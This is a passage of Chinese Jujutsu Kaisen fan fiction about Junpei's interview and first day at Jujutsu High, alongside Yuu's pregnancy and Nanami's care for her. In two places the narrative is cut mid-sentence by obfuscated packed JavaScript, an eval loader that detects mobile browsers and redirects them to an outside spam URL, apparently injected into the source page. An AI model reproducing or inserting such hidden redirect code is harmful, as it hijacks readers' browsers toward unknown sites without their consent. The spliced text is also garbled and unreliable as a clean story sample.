悠仔细看了看走廊和楼梯间:“没有了。刚才音乐响起的时候,那些绿线就开始枯萎了。” 七海点点头:“我待会儿去找坂本太太,就说可能是下水道反味加上水管震动引起的集体幻觉。她会相信的。” 晚上家庭餐厅的包厢里飘着炸鸡和汉堡肉的香气。 顺平面前摊着笔记本,有点紧张,上面密密麻麻记满了七海总结的高专面谈注意事项。 “别紧张,夜蛾正道校长看起来严肃,但为人公正可靠。他不会因为你的出身或背景歧视你,但会严格评估你的心性。”七海用一贯的客观语气说,“顺平你面谈时记得保持礼貌,回答要诚实就可以了。” “姨夫,夜蛾校长他会问什么问题?”顺平认真记着笔记。 “通常是为什么想成为咒术师,对自己咒力的认知,以及对普通人的看法。”七海想了想,“可能还会问一些伦理情境题,比如‘如果必须在一百个陌生人和一个亲人之间做选择,你会怎么选’之类的。” 顺平脸色白了白:“这种问题……” “没有标准答案。”七海说,“重要的是你的思考过程和理由。夜蛾老师想看的不是‘正确答案’,而是你是个什么样的人。” 悠把炸鸡推到顺平面前:“先吃点东西吧,别太紧张。我们顺平这么认真,肯定没问题的。” 顺平点点头,但还是没什么食欲。 这时,七海的手机震动了。 是五条悟发来的视频请求。 七海犹豫了一秒,接起来。 屏幕上立刻出现了五条悟戴着墨镜的脸,背景似乎是某家高级甜品店。 “哟~七海!怎么样?你们今天用吸尘器和摇滚乐祓除了咒灵没?”五条悟的声音大到不用开免提都能听见,“我的建议很有效吧~” “前辈,我们在外面吃饭。”七海提醒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154094|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊,抱歉抱歉~”五条悟毫无歉意地说,然后转向镜头外,“对了,夜蛾老师让我转告顺平小朋友,面谈时间是下周三下午两点,地点在高专门口那栋旧教学楼的一层会议室。别迟到哦~” “我知道了,谢谢五条先生。”顺平对着手机鞠躬。 “不用谢~啊,对了,”五条悟忽然把墨镜拉下一点,露出那双天蓝色的眼睛,对着屏幕露出一个灿烂的笑容,“顺平小朋友,面谈那天我也会在哦。所以别紧张,我会帮你美言几句的~” 他说这话时,还故意眨了眨眼。 顺平:“……” 七海:“……前辈,请不要给他不必要的压力。” “诶~怎么会是压力呢?是鼓励啦鼓励!”五条悟重新戴好墨镜,“好啦,不打扰你们家庭聚餐了。悠酱,下次试试用吹风机,热度加噪音,双重打击更有效哦~” 视频挂断了。 包厢里安静了几秒。 悠小声说:“五条先生……真的很活泼呢。” “他是唯恐天下不乱。”七海收起手机,看向顺平,“面谈时如果他在场,他说什么你都不要太在意,专注回答夜蛾老师的问题就好。” 顺平深吸一口气:“我明白了。” 晚餐继续。 炸鸡渐渐变少,顺平的笔记本上又多了几行字。 窗外的夜色渐浓,街道上的车灯连成流动的光河。 悠洗完澡出来,看到七海坐在沙发上,手里拿着一个文件夹。 “这是什么?”她走过去挨着他坐下。 “高专的一些基础资料。”七海翻开文件夹,里面是打印出来的学校平面图、课程设置说明,甚至还有往届学生的评价,“我给顺平准备的,让他提前了解一下环境。” 悠看着那些资料,心里涌起复杂的情绪。 她为顺平的成长感到骄傲,但也忍不住担心——那个世界太危险了。 “七海海,”她轻声说,“顺平去了高专之后,会不会……变得不一样?” 七海合上文件夹,侧头看她:“会。他会变得更强,更独立,见识到更广阔也更深邃的世界。但是,”他顿了顿,语气肯定,“他的本质不会变。他还是那个会保护母亲、尊敬长辈、内心温柔的孩子。” 悠把脑袋靠在他肩上:“嗯……” 今天经历了这么多,宝宝却很安静,像是知道妈妈需要休息。 “今天害怕了吗?”他问。 “有一点。”悠诚实地说,“但是知道你在赶回来,知道顺平安全,就好多了。而且……”她笑了,“用吸尘器打咒灵,还挺好玩的。” 七海的嘴角弯了一下:“以后不要做这么危险的事。等我回来处理。” “可是五条先生说……” “前辈的建议经常有效,但也经常不合常理。”七海说,“下次,先保证自己的安全。” “好。”悠乖乖应下。 两人就这样坐了一会儿,谁也没说话。 电视画面里播放着夜间新闻。 窗外的东京依旧灯火通明,而在这个小小的公寓里,时间仿佛流淌得特别慢。 “七海海。” “嗯?” “下周三,你会陪顺平去高专吗?” “会。我请了半天假。” “我也想去……” 七海低头看她:“你的身体……” “我知道,所以我会注意的。”悠抓住他的衣袖,“我想看看顺平将要去的学校,想看看他未来的老师。而且……” 她摸了摸肚子:“也让宝宝提前感受一下,爸爸和表哥都曾经或将要保护世界的地方。” 七海沉默了几秒,最终让步:“只能在校门口看看,不能进楼。而且要全程坐着,不能累着。” “嗯!”悠眼睛亮了。 夜色渐深。 睡前,七海照例给悠按摩腰部——随着孕期推进,腰酸背痛成了常事。 他的手法很专业,力度适中,总能找到她最酸胀的点。 “七海海,你连按摩都这么厉害……”悠躺在床上,舒服得昏昏欲睡。 “以前训练受伤时学的。”七海平静地说,“肌肉和骨骼的结构,都差不多。” 按摩结束后,他躺下来,手臂环住她的腰。 悠翻过身,面对他,在黑暗中描摹他的轮廓。 “辛苦了。”她轻声说。 “辛苦什么?你比我更辛苦。” “所有的事。”悠的手覆在他手上,“照顾我,顺平,公寓楼的事,还有上班……让我可以安心画画,不用担心明天。” 七海没有回答,只是收紧了手臂,把她更温柔地拥入怀中。 窗外的月光很淡,冬日的夜空清澈高远。 在城市的另一头,高专的旧教学楼里,夜蛾正道正在审阅新一届学生的面谈安排表。 而在仙台的某家酒店里,五条悟正一边吃毛豆生奶油喜久福,一边给顺平发ins消息: 【加油哦小朋友~面谈那天我会穿得超帅去给你撑场面的!??】 顺平看着这条消息,叹了口气,但嘴角还是忍不住弯了弯。 二月,就这样在担忧、准备、期待和温暖的日常中,平稳地向前推进。 47. 顺平的入学面试 周三。 悠在浴室镜子前侧过身,仔细端详着自己的身形。 小腹已经圆润,像在衣服下藏了个温柔的小山丘。 她今天穿了件深灰色的孕妇连衣套装,外搭米白色针织外套——既保暖又不显臃肿。 腰部的酸痛感比前几周更明显,这是子宫增大压迫韧带造成的,医生说是正常现象,但确实让人行动时多了几分小心翼翼。 客厅里传来七海早餐装盘的声音。 他正把煎蛋和烤吐司摆上桌。 “今天会冷,我给你多准备了一件外套在沙发上。”七海抬头看她,目光在她隆起的腹部停留了一瞬,“腰还酸吗?” “有一点,但能忍受。”悠慢慢走到餐桌旁坐下,手自然地护着小腹下方,“宝宝昨晚很活跃,像是在肚子里做体操。” 七海推了推眼镜,眼底有温和的笑意:“是好事。说明他很健康。” 这是他们清晨惯常的对话——关于身体的变化,关于宝宝的动态,平淡却真实。 悠有时会想,如果没有那些“线”的视觉,如果她真是个完全普通的孕妇,生活大概也就是这样吧:被丈夫细心照顾,期待新生命的到来,为家人的成长感到欣慰。 但世界从来不是非此即彼的。 她能看见那些普通人看不见的东西,同时也在享受着最普通的幸福。 这两者并不矛盾,反而让她更珍惜眼前的日常。 门铃响起。 顺平来了,穿着熨烫平整的白衬衫和深色长裤,头发仔细梳理过,但紧抿的嘴唇暴露了他的紧张。 “吃早饭了吗?”悠关切地问。 “吃、吃了。”顺平点头,手里紧紧攥着书包带子。 “别紧张。”七海从房间出来,已经换好了外出的西装,“夜蛾老师看重的是你本人。” 悠走到顺平面前,帮他整理了一下衣领:“我们顺平这么认真,一定没问题的。” “谢谢小姨。”顺平小声说,“小姨今天也要一起去吗?” “嗯,我送你们到校门口。”悠笑着摸摸他的头,“宝宝也说想给表哥加油呢。” 其实她还有别的想法——想亲眼看看顺平将要进入的那个世界。 虽然七海和五条悟都在努力让她“远离”,但她知道自己早已身处其中。 只是她选择了一种更温柔的方式参与:不干涉,不点破,安静地观察。 车子停在山脚下的停车场。 眼前是一条蜿蜒向上的石板路,路旁立着古朴的木牌“东京都立咒术高等专门学校”。 悠下车时,七海立刻绕过来扶住她:“路不平,小心。” “我没那么娇弱啦。”悠笑着,但还是握住了他的手。 她抬起头,“看”向眼前的景象——整座山被一层复杂的金色线网笼罩。那些线以精密的几何结构交织,形成巨大的半球形结界,线的密度从山脚到山顶递增,最顶端的位置复杂得令人目眩。 更引人注目的是空气中漂浮的“线屑”:战斗留下的锐利银白斩痕。 “学校在山上,车开不上去。”七海的声音把悠拉回现实,“我和顺平上去,你在这里等,可以吗?” “嗯,我坐那边石凳上等。”悠指了指路旁。 “有任何不对劲,马上打电话。”七海把自己的备用手机递给她,“这个有紧急定位。还有,”他顿了顿,语气更认真了些,“如果看到什么……不寻常的东西,不要靠近,也不要试图做什么。等我们回来处理。 “知道啦。”她乖巧地点头,“我就是个普通孕妇,能做什么呀。” 七海看着她,嘴角微不可察地弯了一下。 他知道她在配合这场表演,也知道她其实有能力做更多。 但她选择尊重他的保护,这让他心里涌起复杂的温暖。 顺平站在一旁,目光在悠和七海之间移动。 他隐约感觉到这段对话里有他没完全理解的深意,但没多想。 他现在满脑子都是即将到来的面谈。 “那我们上去了。”七海对顺平示意。 “小姨,我们很快回来。”顺平说。 “加油。”悠朝他们挥手。 两人的身影消失在石阶尽头。 悠在石凳上坐下,打开保温杯——里面是七海早上准备的红枣枸杞茶,还温着。 她刚喝了一口,就感觉到有什么东西从树林里蠕动出来。 一团灰扑扑的、不断滴落黑色黏液的物体,大约篮球大小,形状不定,散发着污浊的灰黑色“情绪线”——一个四级咒灵,弱小,丑陋,无害得令人同情。 咒灵发现了悠,朝她的方向蠕动过来。 悠平静地看着它,没有动。 这种咒灵——只要找到支撑它存在的几根线,轻轻一扯。 但她没有。 七海和顺平那么努力地想保护她“普通人”的身份,她不应该破坏这份心意。 而且,五条悟上周发来的消息突然浮现在脑海:【悠酱~如果遇到长得丑又弱的咒灵,有个超简单的方法哦:假装看不见它!大部分低级咒灵智商很低,你当它不存在,它可能就真的当你不存在了~??】 悠移开视线,专注地喝自己的茶,仿佛眼前的咒灵只是一团普通的枯叶。 咒灵快蠕动到她脚边时停住了。 它裂开的那道缝隙朝着她“嗅”了嗅,然后似乎失去了兴趣,转向石凳下方阴影里的一窝蚂蚁。 很快,它爬进草丛,消失了。 “居然真的有用……”悠小声嘀咕。 等待的时间里,她拿出素描本,开始画眼前“看”到的景象:金色的结界网,漂浮的线屑,还有山巅那座沉稳的建筑轮廓。 画到一半时,她感觉到两道“视线”从山顶投来。 一道是耀眼的银白色,线网结构精密如宇宙模型——五条悟。 一道是沉稳的深褐色,结构严谨如古建筑榫卯——夜蛾正道。 他们在高专大门口和七海顺平汇合,不经意地“看”了她一眼。 悠等视线转移后抬起头,朝着山顶的方向,很自然地微笑了一下,然后继续画画。 另一边五条悟拍着夜蛾正道的肩膀,笑嘻嘻地说:“看,那就是七海的老婆,温柔吧?而且还是孕妇哦~七海可宝贝她了,所以我们得小心点,不能让她知道咒术界那些乱七八糟的事,不然七海会杀人的~” 会议室里,面谈开始进行。 夜蛾正道坐在长桌一端,表情严肃。 七海坐在顺平身侧稍后的位置,姿态端正。 而五条悟……靠在窗边,手里把玩着墨镜,一副“我只是来围观”的悠闲模样。 “吉野顺平。”夜蛾的声音低沉有力,“你的资料显示,你的咒力觉醒时间不长,但基础训练很扎实。七海教得不错。” “谢谢校长。”顺平恭敬地回答。 “那么,第一个问题:你为什么想成为咒术师?” 顺平深吸一口气:“我想保护重要的人。我的母亲,我的家人。还有……想帮助那些被诅咒困扰的人,就像曾经帮助过我的人一样。” 夜蛾点点头,没有评价,继续问:“你对自己能力的认知是什么?” “我还在学习阶段,术式没有觉醒。”顺平诚实地说,“姨夫教了我基础的身体控制和咒力感知。我知道自己还有很多不足,但我会努力。” “最后一个问题。”夜蛾的目光变得更加锐利,“如果必须在牺牲一个无辜者和拯救一百人之间选择,你会怎么做?” 这个问题让会议室安静下来。七海的表情没有变化,但手指在膝盖上轻轻敲了一下。 五条悟也停止了玩墨镜的动作,饶有兴致地看着顺平。 顺平沉默了很久。 久到五条悟都快忍不住要“提示”时,他才开口: “我会拼命寻找第三种方法。如果实在找不到……”他的声音有些颤抖,但很坚定,“我会选择救那一百个人。但之后,我会用余生去忏悔,去照顾那个无辜者的家人,并且……永远不原谅自己。” 夜蛾静静地看了他几秒,然后缓缓点头:“知道愧疚的人,才会谨慎使用力量。你的回答,可以了。” 顺平松了口气,这才发现自己手心全是汗。 “那么,欢迎加入东京咒术高专。”夜蛾站起身,向顺平伸出手,“四月开学,具体事项五条老师会通知你。” “谢谢校长!”顺平急忙起身鞠躬。 面谈结束。 夜蛾离开后,五条悟立刻蹦过来,一把搂住顺平的肩膀:“不错嘛小朋友!那个伦理题答得很好哦~夜蛾老师很少那么干脆就通过新生的!” 顺平被搂得有点不知所措:“是、是吗……” “当然啦!你看他刚才点头的那个幅度,绝对是‘满意’级别了!”五条悟笑嘻嘻地说,然后压低声音,“对了,你小姨还在下面等着吧?我们快点下去,别让她等太久。” 七海已经收拾好东西:“走吧。” “等等等等~”五条悟忽然想起什么,转向顺平,表情变得“严肃”,“顺平小朋友,有件事要特别提醒你哦。” “什么事?” “你小姨——悠酱,她是普通人,而且现在是孕妇。”五条悟的语气难得正经,“所以啊,在外面,在普通人面前,千万不要提咒灵啊、术式啊这些事。要假装我们就是个普通的……呃,宗教学校?或者……体育特长生培训学校?” 他摸着下巴思考:“总之就是不能让他们知道真相!七海为了保护小姨,好不容易让她远离了这些,我们可不能吓到她。而且——”他眨眨眼,“要是把孕妇吓出个好歹,七海真的会杀人的哦~我可是亲眼见过他发火的样子,超~可怕的!” 顺平认真点头:“我明白。我不会说的。” “乖孩子~”五条悟满意地拍拍他的头,然后转向七海,“你看,我都帮你打好预防针了。怎么样,我这个前辈够贴心吧?” 七海推了推眼镜:“……谢谢。”没有提悠已经知道的事。 “不用谢啦~走吧走吧,下山!” 下山的路上,五条悟一直在跟顺平讲“普通人学校”的设定:“我们学校呢,主要是培养学生应对‘突发自然灾害’的能力……对,就是那种!还有冥想课啦,体术课啦,都可以解释成‘心理健康教育’和‘防身术’嘛~” 顺平听得一愣一愣的,七海则面无表情地走在前面,但悠如果在这里,一定能看到他身上那些线正微微波动着——那是他在努力忍住不吐槽的迹象。 校门口,悠看到三人下山的身影,站起身挥手。 五条悟第一个冲过来,笑容灿烂:“悠酱~等很久了吧?抱歉抱歉,面谈稍微拖了一点点时间~” “没关系啦。”悠微笑,“五条老师,顺平怎么样?” “通过啦!”五条悟竖起大拇指,“四月开学,他就是我的学生了哦!放心,我会好好照顾他的~” 顺平走到悠面前,眼睛亮晶晶的:“小姨,我通过了。” “太好了!”悠想抱抱他,但肚子碍事,只能用力拍拍他的肩,“我就知道你一定行!” 七海走过来,很自然地扶住悠的腰:“先上车吧,外面冷。” “对对对,孕妇不能着凉。”五条悟帮忙打开车门,动作夸张得像在演舞台剧,“小心头顶哦~慢慢坐~” 悠忍着笑坐进车里。 五条悟趴在车窗上,对她说:“悠酱,下次来高专玩啊~虽然我们学校看起来旧旧的,但风景还不错哦!春天樱花开了很漂亮的!” 他说这话时,朝七海使了个眼色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154095|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——那意思是:你看,我演得很像吧?完全就是个普通学校的热情老师! 七海面无表情地关上车窗:“前辈,我们走了。” “拜拜~顺平小朋友,开学见哦!”五条悟挥手,直到车子驶远。 车里,顺平终于忍不住问:“五条先生他……一直都是这样吗?” 七海看着后视镜里越来越小的身影:“一直都是。” 悠笑了:“但他是真心为顺平高兴的。” 刚才五条悟身上那些银白色的线,在她道别时短暂地变得柔和温暖——那是真实的关怀,不是表演。 “所以校长是个看起来像极道干部但却喜欢毛毡玩偶的人?”悠吐槽道。 “嗯。”顺平点头,“问问题的时候一直看着我的眼睛,让人不敢说谎。” “那五条先生呢?他没捣乱吧?” “他……”顺平的表情变得微妙,“他一直在后面做鬼脸,想让我笑场。还有一次假装墨镜掉了,假装和夜蛾校长搭话,拖延时间让我多思考……” 悠笑出声:“这确实像他会做的事。” “不过面谈结束后,他跟我说,我的答案他很喜欢。”顺平小声说,“还说……‘欢迎来到有趣的世界’。” 七海给悠夹了块炸鸡,随口问:“五条有没有和你说这一届的其他学生?” “说了大概情况。”顺平回忆,“加上我一共四个人。有一个是咒术师家族出身的男生,很特别;有一个是校长的……呃儿子;还有一个是也算是大家族出身的特长生,是女生听说超级厉害。” 他说得很谨慎,避开了“咒具”“术式”这些词。 悠心里明白,配合地点头:“听起来都是很厉害的同学呢。顺平要好好跟大家相处哦。” “我会的。”顺平认真地说。 这时,悠的手机震动了。是五条悟发来的消息: 【悠酱~今天辛苦了!作为庆祝,我推荐一个孕妇也能吃的甜品店!他们家的豆腐布丁超~好吃,糖分控制得很好哦!】 附带一张看起来就很诱人的布丁照片。 悠把手机递给七海看。 七海看了一眼,接过去回复: 【谢谢前辈。有时间我会带着悠去的。】 几乎秒回: 【哎呀,考虑什么呀,直接去嘛!地址发你了!】 悠看到这条,眼睛亮了:“七海海,五条先生推荐的这家店可以外送耶。” 七海推了推眼镜:“那我明天订。” “顺平要吃什么口味?” “哎?那我吃桂花的,看起来蛮不错的。”顺平雀跃的举手。 悠笑了:“那我要经典口味,好吃下次我试试看另一个口味。” “悠。”七海看着她。 “放心啦,不会糖分超标的。”悠眨眨眼,“而且有你在,我怕什么?怕我偷吃?” 七海叹了口气,擦掉悠嘴边的番茄酱。 晚餐后七海送顺平回家,下班的吉野凪听到通过的消息,激动得眼泪都出来了。 “悠今天辛苦你了。”七海说,“在山下等了那么久。” “不辛苦,风景很好。”悠舒服地叹了口气,“而且……看到了很多有趣的东西。” 七海按摩的手顿了顿:“比如?” “比如你们学校的结界,很漂亮,像金色的蛛网。”悠轻声说,“还有很多战斗留下的痕迹……那些线的颜色,我都认得出来。” 她翻过身,面对七海:“还有,五条先生和夜蛾校长都‘看’了我一眼。虽然很远,但我感觉到了。” 七海安慰的轻吻她的眉心:“他们不会伤害你。” “我知道。”悠握住他的手,“而且我知道,你们都在保护我。五条先生明明知道我能看见,但还是配合演这出‘保护普通孕妇’的戏。他们都在小心翼翼地维持这个谎言,对吧?” 七海推了推眼镜,耳根有些红:“……是为了你的安全。咒术界很复杂,如果让某些人知道你的能力,可能会带来麻烦。” “我明白。”悠笑了,“所以我很感谢你们。这种被大家小心翼翼保护的感觉,其实很温暖的。” 她顿了顿,补充道:“而且看五条先生那么卖力地表演‘普通老师’,真的很有趣。他今天在校门口帮我开车门的样子,简直可以去演话剧了。” 七海的嘴角弯了一下:“他一向如此。” “那你呢?”悠看着他,“你也演得很认真啊。在那个窗人员面前对我说‘学校主要是培养学生应对突发自然灾害的能力’?七海海,你编理由的水平……” “……需要提高?”七海接话。 “需要多跟五条先生学习。”悠笑得眼睛弯弯,“他编的‘宗教学校’听起来还像样一点。” 七海无奈地看着她,最终也笑了。 夜深了,七海关掉灯,手臂轻轻环住悠的腰。 黑暗中,悠能听到他平稳的心跳,能感受到他手掌隔着睡衣传来的温度。 “七海海。” “嗯?” “宝宝今天很安静,是不是也知道表哥有重要的事?” “可能吧。” “你说,等宝宝出生后,我们要怎么跟他解释这个世界呢?” “慢慢来。”七海的声音在黑暗中很温柔,“先教他看普通的世界。其他的……等他长大了,自己会发现。” 悠点点头,闭上眼睛。 在她的小腹深处,那个小小的生命偶尔轻轻活动一下,像是赞同父亲的话。 窗外,三月的夜晚还带着冬末的寒意,但春天的气息已经在空气中隐约浮动。 再过不久,樱花就要开了,新学年就要开始了。 顺平即将踏入那个既危险又充满意义的世界,而在这个小小的公寓里,新的生命在安静生长。 48. 正式入学 四月,是东京的樱花满开的季节。 七海正将玉子烧切成整齐的小块。窗外飘进几片淡粉色的花瓣,落在窗台上。 悠穿着孕妇连衣裙——肚子已经大到需要专门托腹带的程度——慢慢走进厨房,手里拿着一小枝樱花。 “楼下那棵树开得正好。”她把樱花插进餐桌上的小花瓶里,“顺平今天开学,真是个好日子。” 七海把早餐摆上桌:“他七点半过来,吃完早饭我送他去学校。” “我也想去……”悠小声说,但摸了摸肚子,“不过医生说了这周要减少外出。” “下次。”七海认真地说,“等你状态稳定些,我带你去看高专的樱花。学校的百年樱树很壮观。” 悠眼睛亮了:“真的?” “嗯。”七海推了推眼镜,“虽然学校的其他部分……不怎么值得参观。” 七点半,顺平准时敲门。 他穿着高专的黑色校服——深色立领制服,左胸口有学校的徽章。 衣服很合身,衬得他比平时更挺拔。 “新校服很适合你。”悠微笑着说。 “谢、谢谢小姨。”顺平深吸一口气,“我还是有点紧张……” 七海把最后一口味噌汤喝完:“正常。我当年入学时,在宿舍门口站了十分钟才敢进去。” 顺平惊讶地抬头:“姨夫也会紧张吗?” “会。”七海站起身,“但走进去就好了。你的同学也一样是新生,他们也会紧张,这很正常。” 悠从柜子里拿出一个小便当盒:“我给你做了饭团。训练累了可以吃。” “谢谢小姨!”顺平接过便当,眼圈有些红。 出门前,悠叫住顺平,从口袋里拿出一个小小的御守:“这是昨天去神社求的,保佑学业顺利。” 顺平小心地接过,郑重地放进制服内袋:“我会好好珍惜的,小姨。” “路上小心。”悠站在门口目送他们离开,“顺平,要交到好朋友哦!” 电梯门关上后,悠回到客厅,安心侍弄花瓶里正盛的樱花。 没过多久,车子停在高专的山脚下。 今天校门敞开着,石板路两旁,吹落的花瓣形成了一条淡粉色的隧道。 花瓣随风飘落,像温柔的雪。 “姨夫。送到这里就可以了。”顺平深吸一口气,“我自己上去。” “嗯。”七海点头,“别担心,你通过正规面谈入学,和其他学生是平等的。不用怯场。” “我知道了。”顺平推开车门,又回头,“姨夫,谢谢您这段时间的训练。” “这是你自己努力的成果。”七海推了推眼镜,欣慰的点了点头“晚上我来接你。如果有任何问题,随时打电话。” 顺平点点头,背着书包走上山道。 花瓣落在他的肩头,空气中弥漫着淡淡的清香。 走到半山腰时,他看到了学校的全貌——几栋古色古香的建筑依山而建,主楼前有一片宽阔的训练场。 高专门口,已经站了几个人影。 他放慢脚步,调整呼吸。 离那群人还有十几米时,其中一个身影转过了头。 那是个高挑的女生,深绿色马尾辫,戴着眼镜,眼神锐利。 她穿着改造过的校服——裤子改成了更方便活动的工装裤,手里拎着一根用布包裹的长条状物体。 她打量了顺平一眼,开口:“你也是今年的新生?” 声音干脆利落。 “是、是的。”顺平鞠躬,“我是吉野顺平,今天入学一年级。” “禅院真希,叫我真希就行。”女生简短的自我介绍,然后朝旁边扬了扬下巴,“那边那两个也是。” 顺平顺着她的视线看去。 一个是……熊猫?不对,是穿着熊猫玩偶服的人? 也不是,那竟然是真的在动的熊猫吗?顺平有点迟疑。 黑白相间的毛茸茸生物,正友好地朝他挥手。 另一个是白发少年,制服领子高高拉起遮住了下半张脸,只露出一双紫色的眼睛。 他朝顺平挥手,笑弯眼但没说话。 “那是熊猫和狗卷棘。”真希解释道,“棘因为术式的原因不太说话,你习惯就好。” “我是熊猫哦~”熊猫走过来,毛茸茸的手拍了拍顺平的肩膀,“欢迎来到高专!你就是五条老师说的那个新生吧?听说你的训练基础很好呢。” “你、你好……”顺平一时不知该怎么反应。 狗卷棘走过来,从口袋里掏出一个小本子,刷刷写了几笔,举起来:【我是狗卷棘。请多关照。饭团馅料?】 顺平愣了两秒,才明白他是在问自己喜欢什么饭团馅料:“呃……梅子?” 狗卷点点头,在本子上记下。 “别在意,他就这样。”真希把包裹扛在肩上,“以后一起出任务的时候,你会习惯他的沟通方式的。话说回来,”她眯起眼睛看着顺平,“你的体术怎么样?要不要现在试试?” “诶?现、现在?”顺平后退半步。 “真希,别吓到新生啦。”熊猫挡在两人中间,“顺平对吧?五条老师说十点才在教室集合,我们已经提前放好行李了,你不住宿吧?我们可以先带你熟悉一下学校。” “好、好的,我暂时不住校。”顺平松了口气。 真希哼了一声,但没再坚持。 她转身朝训练场走去:“既然来了,先活动活动筋骨吧。熊猫,你带顺平参观,我热个身。” “了解~”熊猫朝顺平招手,“走吧,顺平,我带你看看我们的教室和宿舍。” 走在校园里,顺平渐渐放松下来。 熊猫很健谈,给他介绍了学校的布局:教学楼、训练场、宿舍区、医务室……还小声透露了哪些地方容易遇到老师。 “夜蛾校长经常在庭院那边散步,五条老师则神出鬼没” “对了,我们一年级加上你一共四个人。”熊猫说,“三年级有两个前辈,学长学姐,不过他们今天出去执行任务了。四年级现在没人——那一届毕业后,招生断了一届。” “为什么?” “这个嘛……”熊猫摸摸下巴,“咒术师本来人数就少,再加上那几年咒灵活动相对平稳……不过最近情况又变了,所以又开始招生了。” 他们走到教学楼前。 这是一栋木结构的两层建筑,看起来很有年头了。 一楼的一间教室门敞开着,里面已经摆好了四套桌椅。 “铛铛铛铛~这就是我们的教室。”熊猫走进去,“五条老师说今天第一节课要开‘新生欢迎会’,虽然只有我们几个啦。” 顺平看着摆弄座椅的狗卷同学,忽然觉得,这里似乎没有想象中那么可怕。 同学们虽然各有个性,但看起来都是好人。 就在这时,一个轻快的声音从门口传来: “哟~大家都到了啊!” 五条悟靠着门框,手里拎着一个巨大的礼盒,笑容灿烂:“看来相处得不错嘛~怎么样顺平小朋友,还习惯吗?” “还、还好。”顺平点头。 “那就好~”五条悟走进教室,把礼盒放在讲台上,“那么,一年级全员到齐!我们来开个简单的欢迎会吧!” 他从里面掏出各种零食和饮料,堆满了讲台:“我买了特产哦~毛豆生奶油喜久福、抹茶年糕,还有各种口味的汽水!大家不用客气~” 真希抱着胳膊靠在墙上:“老师,第一节课就开零食派对?” “这叫拉近师生距离!”五条悟理直气壮,“而且今天是你们正式入学的第一天,当然要庆祝一下~来,顺平,这个给你。” 他递过来一个精心包装的小盒子。 顺平接过来打开,里面抢先蹦出来的是一个蟑螂模型,突在他脸上,吓了他一跳,差点把盒子丢出去。 在五条悟捧腹大笑的背景下,顺平无奈的捡起来蟑螂模型放到桌子上,盒子下面露出来一个小巧的护身符挂坠,和悠给他的御守款式不同,但显然也是从神社求来的。 “这是夜蛾校长送的。”五条悟眨眨眼,“他说‘既然决定来了,就要好好学’。虽然话很严肃,但其实是在祝福你哦。” 顺平握紧挂坠,郑重地道谢:“谢谢夜蛾校长,谢谢五条老师。” “不客气不客气~干嘛这么客气,像个小老头!”五条悟拍拍他的肩,“那么,在正式开始吃零食之前,我们先来做个小游戏吧!” 真希翻了个白眼:“又来了。” 熊猫小声对顺平解释:“我听正道说五条老师的脑子通常都不太正常,你要有心理准备。” 狗卷在一旁若有其事的附和,指了指脑袋。 顺平有点想笑。 五条悟完全无视他们的吐槽,从纸袋里掏出四个眼罩:“规则很简单~戴上眼罩,只用咒力来分辨我放在你们手里的东西是什么!这是训练感知力的好方法哦~” 狗卷棘默默地后退了一步,瞄向没关的窗户。 “棘!不准逃!”五条悟眼疾手快地抓住他,“这可是必修课呀!” 于是,一年级新生的第一堂课,就在这种荒谬的氛围中开始了。 顺平老老实实地戴上眼罩,旁边是大喊着“人善被人欺,莫欺少年穷”疯狂和五条悟斗智斗勇的熊猫。 等四人都戴好眼罩。 顺平感觉到五条悟把一个冰凉光滑的东西放在他手心——触感像是金属,但又带着微弱的咒力波动。 “这是……咒具?”他试探地问。 “Bingo!”五条悟开心地说,“虽然是最低级的那种~不错嘛,小顺平很敏锐!” 真希那边传来不耐烦的声音:“老师,这是训练用的木刀吧?太明显了。” “诶~真希好厉害!”五条悟完全不在意她的态度,“那熊猫呢?” “嗯……是喜久福?”熊猫不确定地说,“毛豆味的?” “错!是橡皮擦!哈哈哈哈你被骗啦~” “老师!!!” 笑声和吐槽声从教室飘出,混入四月的樱花风中。 顺平摘下眼罩,看着眼前这一幕——毒舌但可靠的真希,友善但抽象的熊猫,安静但腹黑的狗卷,还有完全不按常理出牌的五条老师。 他忽然觉得,自己真的来到一个很有意思的地方。 同一时间,东京市内的妇产医院。 悠躺在检查床上,看着天花板。 冰凉的耦合剂涂在小腹上,让她缩了缩脖子。 “很快就好。”七海站在床边,握着她的一只手。 医生移动着超声波探头,屏幕上出现黑白图像。 这次比之前的检查更清晰了——可以看见宝宝的小脑袋、脊椎的轮廓,还有微微跳动的心脏。 “宝宝发育得很好。”医生微笑着说,“你看这里,”她指着屏幕上的一个小白点,“这是手,他在挥手呢。” 悠睁大眼睛,看着屏幕上那个模糊但确实在动的小影子。 那一刻,什么咒灵、什么线,全都从她脑海里消失了。世界上只剩下这个小小的生命,在她的身体里健康地生长着。 七海也专注地看着屏幕,握着她的手不自觉地收紧。 “要听听心跳吗?”医生问。 “要!”悠用力点头。 医生按了几个按钮,房间里立刻响起有力而急促的“咚咚”声——像小火车在奔跑。 那是宝宝的心跳,健康而充满活力。 悠的眼泪毫无预兆地掉下来。 七海递给她纸巾,她接过来,又哭又笑:“他好有精神……” “嗯。”七海声音柔和,“像你。” 检查结束后,医生打印了几张B超照片给他们。 在候诊区等待拿药时,悠一直盯着照片看,手指轻轻抚摸上面那个小小的轮廓。 “七海海,你看,他的鼻子好像你。”她指着其中一张侧脸图。 “这么小看不出来。”七海客观地说,但还是接过照片仔细看。 “就是像嘛。”悠坚持,“还有下巴的线条也是。” 